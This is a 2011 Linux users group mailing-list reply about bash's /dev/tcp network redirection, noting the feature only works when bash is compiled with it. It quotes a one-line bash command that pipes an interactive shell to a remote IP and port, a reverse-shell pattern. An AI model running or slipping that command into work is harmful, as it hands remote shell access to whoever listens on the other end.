JP Vossen on 1 Sep 2011 12:54:31 -0700


[Date Prev] [Date Next] [Thread Prev] [Thread Next] [Date Index] [Thread Index]

Re: [PLUG] Bash [net] redirection


Date: Wed, 31 Aug 2011 18:59:29 -0400
From: Rich Freeman<r-plug@thefreemanclan.net>

On Aug 31, 2011 2:37 PM, "Gavin W. Burris"<bug@sas.upenn.edu>  wrote:
>  # bash 0</dev/tcp/YOUR_CLIENT_IP/3333 1>&0 2>&0
>
Wow - never knew linux supported this. That seems like something out of
plan9!

*bash* supports it, if it is compiled in (--enable-net-redirection), which it is NOT by default on Debian and derivatives!

Later,
JP
----------------------------|:::======|-------------------------------
JP Vossen, CISSP            |:::======|      http://bashcookbook.com/
My Account, My Opinions     |=========|      http://www.jpsdomain.org/
----------------------------|=========|-------------------------------
"Microsoft Tax" = the additional hardware & yearly fees for the add-on
software required to protect Windows from its own poorly designed and
implemented self, while the overhead incidentally flattens Moore's Law.
___________________________________________________________________________
Philadelphia Linux Users Group         --        http://www.phillylinux.org
Announcements - http://lists.phillylinux.org/mailman/listinfo/plug-announce
General Discussion  --   http://lists.phillylinux.org/mailman/listinfo/plug